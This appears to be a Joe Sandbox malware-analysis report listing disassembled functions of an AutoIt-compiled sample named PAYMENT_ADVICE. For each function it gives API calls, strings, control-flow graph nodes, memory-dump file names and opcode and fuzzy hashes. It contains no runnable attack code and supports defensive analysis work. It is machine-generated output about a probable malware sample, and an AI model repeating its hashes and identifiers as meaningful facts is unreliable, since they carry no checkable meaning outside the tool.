                                                              • Instruction ID: 817357476d068a017c31f062f03d4a0e8f7a0827326816ab117606ec38541f37
                                                              • Opcode Fuzzy Hash: 8b4465fc55b0a301bc096baa4879121229d4847c9b487d05c870cd549307d03b
                                                              • Instruction Fuzzy Hash: E7A26875A00205CFCB26DF58C480AAAB7F6FF59714F268469E806AF351D735BD82CB90
                                                              Function 003A445A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetFileAttributesW.KERNELBASE(?,0037E398), ref: 003A446A
                                                              • FindFirstFileW.KERNELBASE(?,?), ref: 003A447B
                                                              • FindClose.KERNEL32(00000000), ref: 003A448B
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: FileFind$AttributesCloseFirst
                                                              • String ID:
                                                              • API String ID: 48322524-0
                                                              • Opcode ID: 321a08201eea30abc9f308c6d3b7d613a0e5e02e0b9c4eb4d9539a13300a37d8
                                                              • Instruction ID: 85dc5cec80620de1d7cc77f9ebd89936dbc02378f172d079e2a88bc945faba1f
                                                              • Opcode Fuzzy Hash: 321a08201eea30abc9f308c6d3b7d613a0e5e02e0b9c4eb4d9539a13300a37d8
                                                              • Instruction Fuzzy Hash: 76E0D8364145006B82116B38EC0D8E9775DDF4A335F100B15F835C10D0E7F4A9009695
                                                              Function 003509D0 Relevance: 64.3, APIs: 27, Strings: 9, Instructions: 1300windowsleeptimeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00350A5B
                                                              • timeGetTime.WINMM ref: 00350D16
                                                              • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00350E53
                                                              • Sleep.KERNEL32(0000000A), ref: 00350E61
                                                              • LockWindowUpdate.USER32(00000000,?,?), ref: 00350EFA
                                                              • DestroyWindow.USER32 ref: 00350F06
                                                              • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00350F20
                                                              • Sleep.KERNEL32(0000000A,?,?), ref: 00384E83
                                                              • TranslateMessage.USER32(?), ref: 00385C60
                                                              • DispatchMessageW.USER32(?), ref: 00385C6E
                                                              • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00385C82
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Message$PeekSleepWindow$DestroyDispatchLockTimeTranslateUpdatetime
                                                              • String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$pb@$pb@$pb@$pb@
                                                              • API String ID: 4212290369-4030950617
                                                              • Opcode ID: e2d21af1ed5c94b5d47815178f865353c42e77c7fc183dd87fda799b8bb1e0fe
                                                              • Instruction ID: 215b09dc95ad39c430e1764f603e0ab540e6edb13fdc9092a3eb9bcbef16b15e
                                                              • Opcode Fuzzy Hash: e2d21af1ed5c94b5d47815178f865353c42e77c7fc183dd87fda799b8bb1e0fe
                                                              • Instruction Fuzzy Hash: 1FB2D370608741DFD72AEF24C885FAAB7E5FF84304F15495DE8999B2A1CB71E848CB42
                                                              Function 003A9155 Relevance: 19.8, APIs: 13, Instructions: 322fileCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                                • Part of subcall function 003A8F5F: __time64.LIBCMT ref: 003A8F69
                                                                • Part of subcall function 00344EE5: _fseek.LIBCMT ref: 00344EFD
                                                              • __wsplitpath.LIBCMT ref: 003A9234
                                                                • Part of subcall function 003640FB: __wsplitpath_helper.LIBCMT ref: 0036413B
                                                              • _wcscpy.LIBCMT ref: 003A9247
                                                              • _wcscat.LIBCMT ref: 003A925A
                                                              • __wsplitpath.LIBCMT ref: 003A927F
                                                              • _wcscat.LIBCMT ref: 003A9295
                                                              • _wcscat.LIBCMT ref: 003A92A8
                                                                • Part of subcall function 003A8FA5: _memmove.LIBCMT ref: 003A8FDE
                                                                • Part of subcall function 003A8FA5: _memmove.LIBCMT ref: 003A8FED
                                                              • _wcscmp.LIBCMT ref: 003A91EF
                                                                • Part of subcall function 003A9734: _wcscmp.LIBCMT ref: 003A9824
                                                                • Part of subcall function 003A9734: _wcscmp.LIBCMT ref: 003A9837
                                                              • DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 003A9452
                                                              • _wcsncpy.LIBCMT ref: 003A94C5
                                                              • DeleteFileW.KERNEL32(?,?), ref: 003A94FB
                                                              • CopyFileW.KERNELBASE(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 003A9511
                                                              • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 003A9522
                                                              • DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 003A9534
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
                                                              • String ID:
                                                              • API String ID: 1500180987-0
                                                              • Opcode ID: 1c6518faa3e3f2e3ef0c3dfdaa3a5c4e0c7512fb1508bbcc1287a9e65972c069
                                                              • Instruction ID: 332622cc6f15c6e1f8b13a0fc5100b6fcddabe610304274c89d22d402cdeb96e
                                                              • Opcode Fuzzy Hash: 1c6518faa3e3f2e3ef0c3dfdaa3a5c4e0c7512fb1508bbcc1287a9e65972c069
                                                              • Instruction Fuzzy Hash: 07C12BB1D00219AADF26DF95CC85EDEB7BDEF45310F0044AAF609EA151DB309A448F65
                                                              Function 00343015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73windowregistryCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              • GetSysColorBrush.USER32(0000000F), ref: 00343074
                                                              • RegisterClassExW.USER32(00000030), ref: 0034309E
                                                              • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 003430AF
                                                              • InitCommonControlsEx.COMCTL32(?), ref: 003430CC
                                                              • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 003430DC
                                                              • LoadIconW.USER32(000000A9), ref: 003430F2
                                                              • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00343101
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                              • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                              • API String ID: 2914291525-1005189915
                                                              • Opcode ID: c7dd36887b27c74ec3e857c6aaf86c0cb6a81343a1a50a324a7bcf2f33a83bf6
                                                              • Instruction ID: 4902571e3167f6fcd604d00398bfce160ad81ef5215cad01a9b44436e18f14e5
                                                              • Opcode Fuzzy Hash: c7dd36887b27c74ec3e857c6aaf86c0cb6a81343a1a50a324a7bcf2f33a83bf6
                                                              • Instruction Fuzzy Hash: D13178B2800358AFDB02DFA4D888ADABFF5FB09310F14816EE580EA2A0D3B51554CF91
                                                              Function 00343041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54windowregistryCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              • GetSysColorBrush.USER32(0000000F), ref: 00343074
                                                              • RegisterClassExW.USER32(00000030), ref: 0034309E
                                                              • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 003430AF
                                                              • InitCommonControlsEx.COMCTL32(?), ref: 003430CC
                                                              • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 003430DC
                                                              • LoadIconW.USER32(000000A9), ref: 003430F2
                                                              • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00343101
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                              • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                              • API String ID: 2914291525-1005189915
                                                              • Opcode ID: 5d8a3ff9f714d074fd46a6d4e2476a310b4eeeb97434b380332f757179bb25bf
                                                              • Instruction ID: 6786a2aae98f86858b020351409db048cba1b9126dc7bc679877eb2932daf379
                                                              • Opcode Fuzzy Hash: 5d8a3ff9f714d074fd46a6d4e2476a310b4eeeb97434b380332f757179bb25bf
                                                              • Instruction Fuzzy Hash: 5A21C7B6901718AFDB01EFA4ED49BDEBBF9FB08700F00812AF911E62A0D7B155548F95
                                                              Function 0034708B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201registryCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                                • Part of subcall function 00344706: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,004052F8,?,003437AE,?), ref: 00344724
                                                                • Part of subcall function 0036050B: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00347165), ref: 0036052D
                                                              • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 003471A8
                                                              • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 0037E8C8
                                                              • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 0037E909
                                                              • RegCloseKey.ADVAPI32(?), ref: 0037E947
                                                              • _wcscat.LIBCMT ref: 0037E9A0
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
                                                              • String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
                                                              • API String ID: 2673923337-2727554177
                                                              • Opcode ID: 7524166308a1d1dee23d4f4d0e778c2bad52ed25d75b7cabc23483a30b51d059
                                                              • Instruction ID: 02b97b8933857fd32f368a91e9c8add5161bda8b36812d97918529badac6c3df
                                                              • Opcode Fuzzy Hash: 7524166308a1d1dee23d4f4d0e778c2bad52ed25d75b7cabc23483a30b51d059
                                                              • Instruction Fuzzy Hash: 3071C0724083019EC316EF25ED8199BBBE8FF89310F41457EF446EB1A0DB75A908CB56
                                                              Function 00343633 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151windowtimeregistryCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 760 343633-343681 762 3436e1-3436e3 760->762 763 343683-343686 760->763 762->763 764 3436e5 762->764 765 3436e7 763->765 766 343688-34368f 763->766 769 3436ca-3436d2 DefWindowProcW 764->769 770 3436ed-3436f0 765->770 771 37d0cc-37d0fa call 351070 call 351093 765->771 767 343695-34369a 766->767 768 34374b-343753 PostQuitMessage 766->768 773 37d154-37d168 call 3a2527 767->773 774 3436a0-3436a2 767->774 775 343711-343713 768->775 776 3436d8-3436de 769->776 777 343715-34373c SetTimer RegisterWindowMessageW 770->777 778 3436f2-3436f3 770->778 804 37d0ff-37d106 771->804 773->775 797 37d16e 773->797 780 343755-343764 call 3444a0 774->780 781 3436a8-3436ad 774->781 775->776 777->775 782 34373e-343749 CreatePopupMenu 777->782 784 37d06f-37d072 778->784 785 3436f9-34370c KillTimer call 34443a call 343114 778->785 780->775 787 3436b3-3436b8 781->787 788 37d139-37d140 781->788 782->775 791 37d074-37d076 784->791 792 37d0a8-37d0c7 MoveWindow 784->792 785->775 795 37d124-37d134 call 3a2d36 787->795 796 3436be-3436c4 787->796 788->769 802 37d146-37d14f call 397c36 788->802 799 37d097-37d0a3 SetFocus 791->799 800 37d078-37d07b 791->800 792->775 795->775 796->769 796->804 797->769 799->775 800->796 805 37d081-37d092 call 351070 800->805 802->769 804->769 809 37d10c-37d11f call 34443a call 34434a 804->809 805->775 809->769
                                                              APIs
                                                              • DefWindowProcW.USER32(?,?,?,?), ref: 003436D2
                                                              • KillTimer.USER32(?,00000001), ref: 003436FC
                                                              • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0034371F
                                                              • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 0034372A
                                                              • CreatePopupMenu.USER32 ref: 0034373E
                                                              • PostQuitMessage.USER32(00000000), ref: 0034374D
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                                              • String ID: TaskbarCreated$%=
                                                              • API String ID: 129472671-273969447
                                                              • Opcode ID: 1b10beb36bd429c51c5df7ed226e7dbe051d4efbbe6604a88846a49f75f46051
                                                              • Instruction ID: f6c5e593e313819e72a250edb315795d2069c5473e9cf3fc09c7f922671bddc8
                                                              • Opcode Fuzzy Hash: 1b10beb36bd429c51c5df7ed226e7dbe051d4efbbe6604a88846a49f75f46051
                                                              • Instruction Fuzzy Hash: 8C412AB2100506ABDF276F24DC49F7A3AD9EB00340F554135F902EF2E2CA78BD109B65
                                                              Function 00343A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71windowregistryCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              • GetSysColorBrush.USER32(0000000F), ref: 00343A50
                                                              • LoadCursorW.USER32(00000000,00007F00), ref: 00343A5F
                                                              • LoadIconW.USER32(00000063), ref: 00343A76
                                                              • LoadIconW.USER32(000000A4), ref: 00343A88
                                                              • LoadIconW.USER32(000000A2), ref: 00343A9A
                                                              • LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00343AC0
                                                              • RegisterClassExW.USER32(?), ref: 00343B16
                                                                • Part of subcall function 00343041: GetSysColorBrush.USER32(0000000F), ref: 00343074
                                                                • Part of subcall function 00343041: RegisterClassExW.USER32(00000030), ref: 0034309E
                                                                • Part of subcall function 00343041: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 003430AF
                                                                • Part of subcall function 00343041: InitCommonControlsEx.COMCTL32(?), ref: 003430CC
                                                                • Part of subcall function 00343041: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 003430DC
                                                                • Part of subcall function 00343041: LoadIconW.USER32(000000A9), ref: 003430F2
                                                                • Part of subcall function 00343041: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00343101
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                              • String ID: #$0$AutoIt v3
                                                              • API String ID: 423443420-4155596026
                                                              • Opcode ID: 2b7350e262791321e31ca9fc958aa9d28dac1ae1fea8bf955a15411f7ecdd123
                                                              • Instruction ID: a57c9e54dcae05206adb28da18954712e79374d608579767ad6a442d54a90c61
                                                              • Opcode Fuzzy Hash: 2b7350e262791321e31ca9fc958aa9d28dac1ae1fea8bf955a15411f7ecdd123
                                                              • Instruction Fuzzy Hash: 88213974910308EFEB11DFA4EE49B9E7FB5EB08711F00016AE504BA2A1D3B566508F98
                                                              Function 00343766 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 267COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: FileLibraryLoadModuleName__wcsicmp_l_memmove
                                                              • String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$>>>AUTOIT NO CMDEXECUTE<<<$CMDLINE$CMDLINERAW$R@
                                                              • API String ID: 1825951767-3808460316
                                                              • Opcode ID: 296012656f113eade67959e2c523974131e1b03c7a7286fbfe101f5ed7e019c4
                                                              • Instruction ID: 99e2acc5d7ba2a504bd428b878c20da48190e3e2b7f579d27c335469d72c7c0b
                                                              • Opcode Fuzzy Hash: 296012656f113eade67959e2c523974131e1b03c7a7286fbfe101f5ed7e019c4
                                                              • Instruction Fuzzy Hash: 01A12C7291021DAACF16EBA4DC95EEEB7B9FF15310F40042AE415BF191DF746A08CB60
                                                              Function 0034F76F Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 168comCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                                • Part of subcall function 00360162: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00360193
                                                                • Part of subcall function 00360162: MapVirtualKeyW.USER32(00000010,00000000), ref: 0036019B
                                                                • Part of subcall function 00360162: MapVirtualKeyW.USER32(000000A0,00000000), ref: 003601A6
                                                                • Part of subcall function 00360162: MapVirtualKeyW.USER32(000000A1,00000000), ref: 003601B1
                                                                • Part of subcall function 00360162: MapVirtualKeyW.USER32(00000011,00000000), ref: 003601B9
                                                                • Part of subcall function 00360162: MapVirtualKeyW.USER32(00000012,00000000), ref: 003601C1
                                                                • Part of subcall function 003560F9: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,0034F930), ref: 00356154
                                                              • GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 0034F9CD
                                                              • OleInitialize.OLE32(00000000), ref: 0034FA4A
                                                              • CloseHandle.KERNEL32(00000000), ref: 003845C8
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
                                                              • String ID: <W@$\T@$%=$S@
                                                              • API String ID: 1986988660-3831757665
                                                              • Opcode ID: c2d96dec79c104af2e11dc4bea63454cf92e5a7b11c6832678530a6ed6ee99cb
                                                              • Instruction ID: 313ea6f997809685061c9951369ce616a3849886897e7fba559b1ebecbc0e22f
                                                              • Opcode Fuzzy Hash: c2d96dec79c104af2e11dc4bea63454cf92e5a7b11c6832678530a6ed6ee99cb
                                                              • Instruction Fuzzy Hash: 6A81BFB0911A40DFC785EF39AE49B9B7BE5EB88306750813AD418EB372E77448848F1D
                                                              Function 00D92600 Relevance: 10.7, APIs: 7, Instructions: 239fileCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
